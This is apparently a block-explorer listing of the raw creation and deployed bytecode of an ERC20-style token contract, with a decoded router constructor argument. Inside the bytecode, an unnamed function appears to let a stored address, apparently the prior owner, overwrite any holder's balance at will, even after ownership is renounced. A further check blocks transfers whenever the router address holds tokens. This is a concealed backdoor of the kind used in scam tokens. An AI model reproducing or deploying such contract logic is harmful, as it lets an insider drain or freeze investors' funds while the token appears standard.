0a900460ff16155b15611067576000610f48600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610763565b14610f88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7f90612406565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110315750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110665760006064600b54836110489190612426565b6110529190612497565b9050611060848484846115e6565b50611073565b5b6110728383836118e1565b5b505050565b611080610baf565b73ffffffffffffffffffffffffffffffffffffffff1661109e6107c0565b73ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90612514565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760009054906101000a900460ff166115e057600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112b35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115df576008548111156112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f490612580565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361153057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e491906125b5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149191906125b5565b6040518363ffffffff1660e01b81526004016114ae9291906125e2565b602060405180830381865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef91906125b5565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603156115e1576009548161159384610763565b61159d919061201a565b11156115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d590612657565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c90612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb9061239a565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561174b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611742906126e9565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818361179d9190611fe6565b925081600460008282546117b19190611fe6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611807919061201a565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186d9190611c3e565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118d29190611c3e565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194790612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b69061239a565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d906126e9565b60405180910390fd5b8181611a529190611fe6565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ae4919061201a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b489190611c3e565b60405180910390a350505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b8682611b5b565b9050919050565b611b9681611b7b565b8114611ba157600080fd5b50565b600081359050611bb381611b8d565b92915050565b6000819050919050565b611bcc81611bb9565b8114611bd757600080fd5b50565b600081359050611be981611bc3565b92915050565b60008060408385031215611c0657611c05611b56565b5b6000611c1485828601611ba4565b9250506020611c2585828601611bda565b9150509250929050565b611c3881611bb9565b82525050565b6000602082019050611c536000830184611c2f565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c93578082015181840152602081019050611c78565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cbb82611c59565b611cc58185611c64565b9350611cd5818560208601611c75565b611cde81611c9f565b840191505092915050565b60006020820190508181036000830152611d038184611cb0565b905092915050565b60008115159050919050565b611d2081611d0b565b82525050565b6000602082019050611d3b6000830184611d17565b92915050565b600080600060608486031215611d5a57611d59611b56565b5b6000611d6886828701611ba4565b9350506020611d7986828701611ba4565b9250506040611d8a86828701611bda565b9150509250925092565b600060ff82169050919050565b611daa81611d94565b82525050565b6000602082019050611dc56000830184611da1565b92915050565b600060208284031215611de157611de0611b56565b5b6000611def84828501611ba4565b91505092915050565b611e0181611b7b565b82525050565b6000602082019050611e1c6000830184611df8565b92915050565b60008060408385031215611e3957611e38611b56565b5b6000611e4785828601611ba4565b9250506020611e5885828601611ba4565b9150509250929050565b60008160601b9050919050565b6000611e7a82611e62565b9050919050565b6000611e8c82611e6f565b9050919050565b611ea4611e9f82611b7b565b611e81565b82525050565b6000611eb68284611e93565b60148201915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f0c57607f821691505b602082108103611f1f57611f1e611ec5565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f81602883611c64565b9150611f8c82611f25565b604082019050919050565b60006020820190508181036000830152611fb081611f74565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ff182611bb9565b9150611ffc83611bb9565b925082820390508181111561201457612013611fb7565b5b92915050565b600061202582611bb9565b915061203083611bb9565b925082820190508082111561204857612047611fb7565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006120aa602583611c64565b91506120b58261204e565b604082019050919050565b600060208201905081810360008301526120d98161209d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061213c602683611c64565b9150612147826120e0565b604082019050919050565b6000602082019050818103600083015261216b8161212f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121ce602483611c64565b91506121d982612172565b604082019050919050565b600060208201905081810360008301526121fd816121c1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612260602283611c64565b915061226b82612204565b604082019050919050565b6000602082019050818103600083015261228f81612253565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006122f2602583611c64565b91506122fd82612296565b604082019050919050565b60006020820190508181036000830152612321816122e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612384602383611c64565b915061238f82612328565b604082019050919050565b600060208201905081810360008301526123b381612377565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b60006123f0601f83611c64565b91506123fb826123ba565b602082019050919050565b6000602082019050818103600083015261241f816123e3565b9050919050565b600061243182611bb9565b915061243c83611bb9565b925082820261244a81611bb9565b9150828204841483151761246157612460611fb7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124a282611bb9565b91506124ad83611bb9565b9250826124bd576124bc612468565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124fe602083611c64565b9150612509826124c8565b602082019050919050565b6000602082019050818103600083015261252d816124f1565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b600061256a601283611c64565b915061257582612534565b602082019050919050565b600060208201905081810360008301526125998161255d565b9050919050565b6000815190506125af81611b8d565b92915050565b6000602082840312156125cb576125ca611b56565b5b60006125d9848285016125a0565b91505092915050565b60006040820190506125f76000830185611df8565b6126046020830184611df8565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b6000612641601883611c64565b915061264c8261260b565b602082019050919050565b6000602082019050818103600083015261267081612634565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006126d3602683611c64565b91506126de82612677565b604082019050919050565b60006020820190508181036000830152612702816126c6565b905091905056fea26469706673582212202b160f2c316b12ddc209d9d556eb978cbfe4dfd5e46a075e2150c56366a11a9464736f6c6343000813003300000000000000000000000092643dc4f75c374b689774160cdea09a0704a9c2

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610349578063ab40caab14610379578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b8063715018a6146102a35780638da5cb5b146102ad57806395d89b41146102cb57806398636f32146102e9578063a457c2d7146103195761012c565b8063313ce567116100f4578063313ce567146101fd57806335ba28de1461021b5780633950935114610239578063622565891461026957806370a08231146102735761012c565b806301780ba81461013157806306fdde0314610161578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101cd575b600080fd5b61014b60048036038101906101469190611bef565b610401565b6040516101589190611c3e565b60405180910390f35b6101696104c8565b6040516101769190611ce9565b60405180910390f35b61019960048036038101906101949190611bef565b61055a565b6040516101a69190611d26565b60405180910390f35b6101b7610578565b6040516101c49190611c3e565b60405180910390f35b6101e760048036038101906101e29190611d41565b610582565b6040516101f49190611d26565b60405180910390f35b610205610683565b6040516102129190611db0565b60405180910390f35b61022361068c565b6040516102309190611c3e565b60405180910390f35b610253600480360381019061024e9190611bef565b610692565b6040516102609190611d26565b60405180910390f35b61027161073e565b005b61028d60048036038101906102889190611dcb565b610763565b60405161029a9190611c3e565b60405180910390f35b6102ab6107ac565b005b6102b56107c0565b6040516102c29190611e07565b60405180910390f35b6102d36107e9565b6040516102e09190611ce9565b60405180910390f35b61030360048036038101906102fe9190611dcb565b61087b565b6040516103109190611d26565b60405180910390f35b610333600480360381019061032e9190611bef565b61089b565b6040516103409190611d26565b60405180910390f35b610363600480360381019061035e9190611bef565b61098f565b6040516103709190611d26565b60405180910390f35b6103816109ad565b60405161038e9190611c3e565b60405180910390f35b6103b160048036038101906103ac9190611e22565b6109b3565b6040516103be9190611c3e565b60405180910390f35b6103e160048036038101906103dc9190611dcb565b610a3a565b005b6103eb610abd565b6040516103f89190611d26565b60405180910390f35b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826040516020016104419190611eaa565b60405160208183030381529060405280519060200120905060008260405160200161046c9190611eaa565b60405160208183030381529060405280519060200120905060008660001b90506000828414905080156104b0576104a38983610ad0565b96505050505050506104c2565b6104b989610b66565b96505050505050505b92915050565b6060600580546104d790611ef4565b80601f016020809104026020016040519081016040528092919081815260200182805461050390611ef4565b80156105505780601f1061052557610100808354040283529160200191610550565b820191906000526020600020905b81548152906001019060200180831161053357829003601f168201915b5050505050905090565b600061056e610567610baf565b8484610bb7565b6001905092915050565b6000600454905090565b600061058f848484610d80565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105da610baf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561065a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065190611f97565b60405180910390fd5b61067785610666610baf565b85846106729190611fe6565b610bb7565b60019150509392505050565b60006009905090565b60085481565b600061073461069f610baf565b8484600360006106ad610baf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461072f919061201a565b610bb7565b6001905092915050565b610746611078565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b4611078565b6107be60006110f6565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107f890611ef4565b80601f016020809104026020016040519081016040528092919081815260200182805461082490611ef4565b80156108715780601f1061084657610100808354040283529160200191610871565b820191906000526020600020905b81548152906001019060200180831161085457829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006108aa610baf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095e906120c0565b60405180910390fd5b610984610972610baf565b85858461097f9190611fe6565b610bb7565b600191505092915050565b60006109a361099c610baf565b8484610d80565b6001905092915050565b60095481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42611078565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa890612152565b60405180910390fd5b610aba816110f6565b50565b600760009054906101000a900460ff1681565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d906121e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8c90612276565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d739190611c3e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de690612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e559061239a565b60405180910390fd5b610e698383836111fb565b600081031561107357600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f165750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611067576000610f48600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610763565b14610f88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7f90612406565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110315750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110665760006064600b54836110489190612426565b6110529190612497565b9050611060848484846115e6565b50611073565b5b6110728383836118e1565b5b505050565b611080610baf565b73ffffffffffffffffffffffffffffffffffffffff1661109e6107c0565b73ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90612514565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760009054906101000a900460ff166115e057600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112b35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115df576008548111156112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f490612580565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361153057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e491906125b5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149191906125b5565b6040518363ffffffff1660e01b81526004016114ae9291906125e2565b602060405180830381865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef91906125b5565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603156115e1576009548161159384610763565b61159d919061201a565b11156115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d590612657565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c90612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb9061239a565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561174b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611742906126e9565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818361179d9190611fe6565b925081600460008282546117b19190611fe6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611807919061201a565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186d9190611c3e565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118d29190611c3e565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194790612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b69061239a565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d906126e9565b60405180910390fd5b8181611a529190611fe6565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ae4919061201a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b489190611c3e565b60405180910390a350505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b8682611b5b565b9050919050565b611b9681611b7b565b8114611ba157600080fd5b50565b600081359050611bb381611b8d565b92915050565b6000819050919050565b611bcc81611bb9565b8114611bd757600080fd5b50565b600081359050611be981611bc3565b92915050565b60008060408385031215611c0657611c05611b56565b5b6000611c1485828601611ba4565b9250506020611c2585828601611bda565b9150509250929050565b611c3881611bb9565b82525050565b6000602082019050611c536000830184611c2f565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c93578082015181840152602081019050611c78565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cbb82611c59565b611cc58185611c64565b9350611cd5818560208601611c75565b611cde81611c9f565b840191505092915050565b60006020820190508181036000830152611d038184611cb0565b905092915050565b60008115159050919050565b611d2081611d0b565b82525050565b6000602082019050611d3b6000830184611d17565b92915050565b600080600060608486031215611d5a57611d59611b56565b5b6000611d6886828701611ba4565b9350506020611d7986828701611ba4565b9250506040611d8a86828701611bda565b9150509250925092565b600060ff82169050919050565b611daa81611d94565b82525050565b6000602082019050611dc56000830184611da1565b92915050565b600060208284031215611de157611de0611b56565b5b6000611def84828501611ba4565b91505092915050565b611e0181611b7b565b82525050565b6000602082019050611e1c6000830184611df8565b92915050565b60008060408385031215611e3957611e38611b56565b5b6000611e4785828601611ba4565b9250506020611e5885828601611ba4565b9150509250929050565b60008160601b9050919050565b6000611e7a82611e62565b9050919050565b6000611e8c82611e6f565b9050919050565b611ea4611e9f82611b7b565b611e81565b82525050565b6000611eb68284611e93565b60148201915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f0c57607f821691505b602082108103611f1f57611f1e611ec5565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f81602883611c64565b9150611f8c82611f25565b604082019050919050565b60006020820190508181036000830152611fb081611f74565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ff182611bb9565b9150611ffc83611bb9565b925082820390508181111561201457612013611fb7565b5b92915050565b600061202582611bb9565b915061203083611bb9565b925082820190508082111561204857612047611fb7565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006120aa602583611c64565b91506120b58261204e565b604082019050919050565b600060208201905081810360008301526120d98161209d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061213c602683611c64565b9150612147826120e0565b604082019050919050565b6000602082019050818103600083015261216b8161212f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121ce602483611c64565b91506121d982612172565b604082019050919050565b600060208201905081810360008301526121fd816121c1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612260602283611c64565b915061226b82612204565b604082019050919050565b6000602082019050818103600083015261228f81612253565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006122f2602583611c64565b91506122fd82612296565b604082019050919050565b60006020820190508181036000830152612321816122e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612384602383611c64565b915061238f82612328565b604082019050919050565b600060208201905081810360008301526123b381612377565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b60006123f0601f83611c64565b91506123fb826123ba565b602082019050919050565b6000602082019050818103600083015261241f816123e3565b9050919050565b600061243182611bb9565b915061243c83611bb9565b925082820261244a81611bb9565b9150828204841483151761246157612460611fb7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124a282611bb9565b91506124ad83611bb9565b9250826124bd576124bc612468565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124fe602083611c64565b9150612509826124c8565b602082019050919050565b6000602082019050818103600083015261252d816124f1565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b600061256a601283611c64565b915061257582612534565b602082019050919050565b600060208201905081810360008301526125998161255d565b9050919050565b6000815190506125af81611b8d565b92915050565b6000602082840312156125cb576125ca611b56565b5b60006125d9848285016125a0565b91505092915050565b60006040820190506125f76000830185611df8565b6126046020830184611df8565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b6000612641601883611c64565b915061264c8261260b565b602082019050919050565b6000602082019050818103600083015261267081612634565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006126d3602683611c64565b91506126de82612677565b604082019050919050565b60006020820190508181036000830152612702816126c6565b905091905056fea26469706673582212202b160f2c316b12ddc209d9d556eb978cbfe4dfd5e46a075e2150c56366a11a9464736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000092643dc4f75c374b689774160cdea09a0704a9c2

-----Decoded View---------------
Arg [0] : router (address): 0x92643Dc4F75C374b689774160CDea09A0704a9c2

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000092643dc4f75c374b689774160cdea09a0704a9c2


Deployed Bytecode Sourcemap

